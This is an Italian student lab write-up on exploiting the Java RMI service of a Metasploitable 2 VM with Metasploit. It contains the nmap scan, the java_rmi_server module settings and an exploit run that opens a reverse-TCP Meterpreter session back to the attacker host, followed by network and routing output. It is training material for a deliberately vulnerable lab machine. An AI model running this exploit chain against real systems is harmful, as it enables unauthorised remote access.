

Progetto S7/L5

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.

Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - 1) configurazione di rete.
 - 2) informazioni sulla tabella di routing della macchina vittima.

L'**EXPLOIT** è un metodo in grado di sfruttare i problemi che affliggono un sistema operativo o una determinata applicazione al fine di permettere all'attaccante di eseguire un payload sul sistema.

Il **PAYLOAD** è una sessione di comandi che vengono eseguiti dall'exploit e determinano il tipo di attacco. Può avere lo scopo di creare un utente amministrativo sul sistema vittima, creare una shell di comandi per controllare la macchina etc.

L'**RMI** (Remote Method Invocation) è la capacità per un oggetto Java di poter essere in esecuzione su una determinata macchina consentendo l'invocazione dei suoi metodi, in maniera remota.

Il **MALWARE** (Malicious Software) è un programma/codice dannoso che mette a rischio un sistema.

Esercizio

Kali Linux IP **192.168.11.111**

Metasploitable 2 IP **192.168.11.112**

Dopo aver controllato che le 2 macchine comunicassero tra di loro, ho eseguito una scansione delle porte di Metasploitable con «**nmap -sS -sV 192.168.11.112**», per verificare la porta del servizio Java-RMI.

```
└─$ nmap -sS -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-17 20:28 CET
Nmap scan report for 192.168.11.112
Host is up (0.00037s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:03:E6:E4 (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:lin
ux:linux_kernel

Service detection performed. Please report any incorrect results at https://n
map.org/submit/ .
```

Lanciato Metasploit con «**msfconsole**».

«**search java_rmi**» mi ha ricercato l'exploit da utilizzare.

«**use exploit/multi/misc/java_rmi_server**»

```
msf6 > search java_rmi

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/gather/java_rmi_registry        2011-10-15      normal No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15      excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  auxiliary/scanner/misc/java_rmi_server    2011-10-15      normal No     Java RMI Server Insecure Endpoint Code Execution Scanner
3  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

Di default mi ha dato il payload «**java/meterpreter/reverse_tcp**»

«**set rhosts 192.168.11.112**» per configurare l'Host del target.

«**show options**» controllato che la configurazione è stata eseguita.

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name      Current Setting  Required  Description
--      -
HTTPDELAY  10              yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112 yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099            yes       The target port (TCP)
SRVHOST    0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT    8080            yes       The local port to listen on.
SSL        false           no        Negotiate SSL for incoming connections
SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
URIPATH                    no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     192.168.11.11  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  -
0   Generic (Java Payload)
```

«**exploit**» lanciato l'exploit aprendo così la shell di Meterpreter

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/YhCRpD3IeaAbj
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:52282)
    at 2024-01-27 14:28:29 -0500

meterpreter > 
```

Il comando «**ifconfig**» visualizza la configurazione di rete della macchina target;

```
Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fea3:f4b4
IPv6 Netmask : ::
```

Il comando «**route**» dà le informazioni sulla tabella di routing, cioè una tabella che contiene informazioni sui vari percorsi tra i dispositivi al fine di presentare i percorsi più efficienti per i pacchetti di dati.

```
meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1          ::           ::
fe80::20c:29ff:fea3:f4b4 ::           ::
```